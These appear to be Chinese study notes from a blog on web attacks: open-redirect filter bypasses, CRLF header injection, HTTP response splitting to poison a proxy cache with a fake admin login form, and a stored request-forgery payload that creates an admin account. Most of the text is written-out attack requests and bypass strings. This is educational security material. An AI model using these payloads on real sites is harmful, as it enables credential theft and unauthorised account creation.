如果应用程序以下方式 易受到攻击
GET /redir.php?target=http://wahh-attacker.com/ HTTP/1.1 黑色的是用户控制的数据
Host:wahh-app.com
HTTP/1.1 302 Object moved 这个是一种重定向方式
Location: http://wahh-attacker.com/
通过用户控制的数据来设置重定向目标易于受到攻击
通常应用程序会使用一些防御来阻止攻击,但是可以避开:
(1) 应用程序检查用户提交是否有http://开头,如果是就阻止,避开方法
HtTp:// wahh-attacker.com/
%00http://wahh-attacker.com/
http://wahh-attacker.com/ 首行空格
//wahh-attacker.com/
%68%74%68%68……wahh-attacker.com 用URL编码方式
https://wahh-attacker.com/
(2) 应用程序会删除http://头或者整个外部域
http://http://wahh-attacker.com/
http://wahh-attacker.com/https://wahh-attacker.com/
hthttp://tp:// wahh-attacker.com/
(3) 应用程序会检查用户提交的字符串是否以指向它自己的域名的绝对URL开头或者是否包含这个url
http://wahh-app.com.wahh-attacker.com/ 如果应用程序控制wahh-app.com域的dns记录 那么就有可能被攻击
http://wahh-attacker.com/?http://wahh-app.com/
http://wahh-attacker.com/%23http://wahh-app.com/ URL编码
消息头注入
GET /home.php?uid=123 HTTP/1.1
Host:wahh-app.com
HTTP 1.1 200 OK
Set-Cookie: UserId=123
uid是用户输入的话,攻击者可以用0x0d回车符 0x0a换行符构造一个专门设计的请求,来注入一个换行符,从而在下面一行来注入其他数据
GET /home.php?uid=123%0d%0aFoo:+bar HTTP/1.1
Host:wahh-app.com
HTTP 1.1 200 OK
Set-Cookie: UserId=123
Foo:bar
如果发现换行符被应用程序阻止或者净化,尝试使用]
foo%00%0d%0abar
foo%250d%250abar %25是url编码的%
foo%%0d0d%%0a0abar
(1) 注入cookie
这里target的内容用户控制
GET /redir.php?target=/%0d%0aSet-cookie:+SessId%3d120a12f98e8; HTTP/1.1
Host: wahh-app.com
HTTP/1.1 302 Object moved
Location:/
Set-Cookie: SessId=120a12f98e8;
(2) 传送其他攻击
因为HTTP消息头注入可以控制整个响应主体,所以可以使用其他任何攻击
虚拟Web站点置换,脚本注入,任意重定向等
(3) HTTP响应分割攻击
第一步 :
攻击者在代理服务器缓存中选择一个希望毒害的应用程序页面,例如用一个木马表单(可以向攻击者的服务器提交用户证书)代替/admin/位置的页面
第二步:
利用消息头漏洞
GET/home.php?uid=123%0d%0aContent-Length:+22%0d%0a<html>%0d%0afoo%0d%0a</html>%0d%0aHTTP/1.1+200+OK%0d%0aContent-Length:+2307%0d%0a%0d%0a<html>%0a%0a<head>%0d%0a<title>Administrator+login</title>%0d%0a[….long url….] HTTP/1.1
HOST:wahh-app.com
响应将变为
HTTP/1.1 200 OK
Set-Cookie: UserID=123
Content-Length:22
<html>
foo
</html>
HTTP/1.1 200 OK
Content-Length: 2307
<html>
<head>
<title>Administrator login</title>
….
消息头注入一个完整的Http主体和另一组响应消息头和另一个响应主体,第二个消息主体有木马页面源代码。这样,服务器看起来像两个连接在一起的单独http响应。这叫HTTP响应分割。
第三步:
攻击者与代理服务器TCP连接,传送这个精心设计的请求,后面紧跟着访问被“毒害”的页面的请求,在HTTP协议中,以这种方式请求是合法的。
GET/home.php?uid=123%0d%0aContent-Length:+22%0d%0a<html>%0d%0afoo%0d%0a</html>%0d%0aHTTP/1.1+200+OK%0d%0aContent-Length:+2307%0d%0a%0d%0a<html>%0a%0a<head>%0d%0a<title>Administrator+login</title>%0d%0a[….long url….] HTTP/1.1
HOST:wahh-app.com
Proxy-Connection: Keep-alive Keep-alive表示长连接
GET http://wahh-app.com/admin/ HTTP/1.1
Host: wahh-app.com
Proxy-Connection:Close
第四步:
代理服务器与应用程序(web服务器)建立TCP连接,送出这两个以相同方式连接的请求
第五步:
应用程序用攻击者注入的HTTP内容响应的第一个GET请求,它看起来就像是两个独立的HTTP响应
第六步
代理服务器收到这两个看似单独的响应,并认为其中第二个响应与攻击者的第二个请求想对应,该请求指向URL http://wahh-app.com/admin。代理服务器把第二个响应作为这个URL的内容保存在缓存中(如果代理服务器已经在缓存中保存该页面的副本,那么攻击者可以在第二个请求中插入一个适当的IF-Modified-Since 消息头,并在注入的响应中插入一个Last-Modified消息头,使得代理服务器重新请求这个URL,用新的内容更新缓存)
第七步
应用程序发布它对攻击者的第二个请求的响应,其中包含http://wahh-app.com/admin的真实内容,代理服务器并不认为这个URL是它对发布的请求的响应,因而抛弃这个响应
第八步
一名用户通过代理访问http://wahh-app.com/admin,并收到这个URL保存在代理服务器中的内容,这个内容实际是攻击者的木马登陆表单,因而用户证书被攻破。
OSRF 本站点请求伪造
利用保存型XSS漏洞的常见攻击有效载荷
POST /submit.php
Host: wahh-app.com
Content-Length:34
type=question&name=daf&message=foo
这个请求导致以下内容被添加到消息
<tr>
<td><img src=”/images/question.gif”></td>
<td>daf</td>
<td>foo</td>
<tr>
如果用户在type参数提交
../admin/newUser.php?username=daf2&password=0wned&role=admin#
../将导致返回web根目录 然后admin会进入admin目录中/admin
任何查看消息的用户img src会导致提出一个GET请求
#终止后面的gif后缀
如果管理员用户查看该消息,将导致建立一个用户账户,即使管理员禁用javascript,该攻击也成立
XSRF 跨站点请求伪造攻击
JSON劫持
JSON常替代XML来传输javascript数据
会话固定
下面每个指令都可以阻止浏览器缓存一个页面 这些每一个都可以在http消息头或者html元标签meta中指定,
Expires ; 0
Cache-control: no cache
Pragma: no-cache
发表评论
-
Web安全读书笔记9- 缓冲区溢出漏洞
2010-03-05 14:38 1997栈溢出 bool CheckLogin(char *usern ... -
Web安全读书笔记8- 路径遍历漏洞
2010-03-05 14:37 2236https://wahh-app.com/scripts/Ge ... -
Web安全读书笔记7- DNS Pinning
2010-03-05 14:36 1406DNS Pinning 域名-IP变换攻击 (1) 一个用户 ... -
Web安全读书笔记5-注入Web脚本语言
2010-03-05 14:34 1252动态执行漏洞 PHP的eval A ... -
Web安全读书笔记4-SQL注入漏洞
2010-03-05 14:33 1416shell echo $1 如果 ./a.sh ... -
Web安全读书笔记3- 会话安全
2010-03-05 14:31 1060HTTP协议没有状态,使用 ... -
Web安全读书笔记2
2010-03-05 14:29 1013工具 拦截代理服务器 Burp Proxy WebScar ... -
Web安全读书笔记 -拦截代理服务器
2010-03-05 11:37 1462递归检查漏洞 <scr<s ...
相关推荐
web漏扫-appscan漏扫软件扫描靶机并分析-xss,sql等详细笔记总结
:Japanese_secret_button: 反XSS “跨站点脚本(XSS)是一种通常在Web应用程序中发现的计算机安全漏洞。XSS使攻击者能够将客户端脚本注入到其他用户查看的网页中。跨站点脚本漏洞可能被攻击者用来绕过相同原产地策略...
### 白帽子讲Web安全读书笔记一:关键知识点解析 #### 第零篇 总览 - **客户端脚本安全**:这部分主要关注浏览器环境下的安全问题,包括浏览器自身的安全机制以及用户与网页交互过程中可能遇到的安全风险。 - **...
5. **利用XSS漏洞**:如果Web应用程序存在XSS漏洞,攻击者可以直接注入恶意脚本来执行CSRF攻击。 #### 五、总结 通过对DocCms2016中的CSRF漏洞案例分析,我们可以看到即使是最简单的功能也可能成为攻击的目标。...
"Web 安全学习笔记" Web 安全学习笔记是关于网络安全的综合性学习笔记,涵盖了 Web 安全的基础知识、常见威胁、防御策略等方面的内容。下面将详细介绍该笔记中所涉及的知识点: 一、Web 安全基础 * Web 安全定义...
为了检测XSS漏洞,可以采取以下措施: - **DOM XSS测试**:检查客户端脚本处理输入的方式,确保不会发生意外的脚本执行。 - **存储型XSS测试**:模拟用户提交含有恶意脚本的内容,并观察其是否被正确地存储并在后续...
《Web安全学习笔记》 在当今数字化的时代,Web安全已经成为每一个互联网用户,特别是开发者和网络安全专业人员必须关注的重要领域。Web安全主要涉及保护Web应用程序免受各种攻击,如SQL注入、跨站脚本(XSS)、跨站...
6. 实战演练:可能包含一些练习或项目,让学习者有机会亲手处理XSS漏洞,提升实战技能。 7. 最新趋势:讨论最新的XSS攻击手段和防护技术,以保持学习者的知识与时俱进。 通过这份教程,无论是初级还是高级的Web...
跨站脚本(XSS)漏洞是Web应用程序中常见的安全问题,允许攻击者向网页注入恶意脚本,影响用户的浏览器。本文主要围绕PHP代码审计中如何防止XSS漏洞展开,介绍了几种常见的防护策略。 首先,XSS攻击的原理是攻击者...
4. Web漏洞:笔记可能详细介绍了常见的Web安全漏洞,如SQL注入、XSS(跨站脚本)攻击、CSRF(跨站请求伪造)等,以及如何利用Python检测和利用这些漏洞。 5. 框架安全:对于像Django和Flask这样的Python Web框架,...
xss跨站脚本攻击是一种常见的Web应用安全漏洞,攻击者可以通过在网站上注入恶意代码,盗取用户敏感信息,控制企业数据,非法转账,发送恶意邮件等。下面是xss跨站脚本攻击的知识点总结: 1.xss跨站脚本攻击的定义 ...
笔记的核心部分是常见Web漏洞的攻防,包括SQL注入、XSS跨站脚本、CSRF跨站请求伪造、SSRF服务器端请求伪造、命令注入、目录穿越、文件读取、文件上传、文件包含、XML External Entity(XXE)攻击、模板注入、XPath...
网络安全学习笔记包含sql注入,ssh暴力破解,web漏洞扫描,xss扩展攻击,文件上传攻击等
XSS(Cross Site Scripting)即跨站脚本攻击,是一种常见的Web应用程序安全漏洞。攻击者通过在Web页面中注入恶意脚本代码,当用户浏览该页面时,嵌入其中的脚本代码会被执行,从而达到恶意攻击用户的目的。XSS攻击...
在互联网安全领域,Web应用防火墙(WAF)作为一种流行的防护手段,用于保护Web应用免受诸如SQL注入、跨站脚本攻击(XSS)等常见攻击方式的侵害。然而,随着WAF的广泛部署,攻击者也在不断探索绕过这些安全防护层的...
最后,XSS漏洞是Web安全领域的一个重要话题。XSS攻击发生在恶意脚本被注入到Web页面并被执行时,通常通过诱使用户点击恶意链接或输入特殊字符。攻击者可以利用XSS漏洞窃取用户信息、执行未经授权的操作,甚至完全...
网络安全通常分为多个子领域,如系统安全、服务安全、Web应用安全、数据安全等。本复习笔记将针对上述几个方面,介绍常见的网络安全威胁及其防御措施。 系统安全威胁通常指的是针对操作系统和计算机系统进行的攻击...
SQL注入是一种常见的网络安全漏洞,攻击者通过在Web表单中插入恶意SQL语句,欺骗服务器执行非预期的数据库操作。这种漏洞可能导致数据泄露、非法权限获取,甚至整个数据库系统的瘫痪。例如,12306.cn账号和密码泄露...